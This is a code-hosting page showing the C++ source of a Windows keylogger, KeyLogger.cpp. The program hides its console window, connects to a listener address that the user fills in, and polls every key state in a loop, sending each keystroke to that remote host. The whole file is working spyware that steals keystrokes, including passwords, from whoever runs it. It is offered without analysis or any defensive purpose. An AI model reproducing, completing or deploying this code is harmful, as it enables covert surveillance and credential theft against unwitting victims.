-
Notifications
You must be signed in to change notification settings - Fork 0
/
KeyLogger.cpp
40 lines (34 loc) · 924 Bytes
/
KeyLogger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY;
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr("IP_ADDRESS"); // change IP_ADDRESS with your listening IP
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT); // change PORT with your listening port
connect(server, (SOCKADDR *)&addr, sizeof(addr));
while (true) {
Sleep(10);
for (int KEY = 0x8; KEY < 0xFF; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
char buffer[2];
buffer[0] = KEY;
send(server, buffer, sizeof(buffer), 0);
}
}
}
closesocket(server);
WSACleanup();
}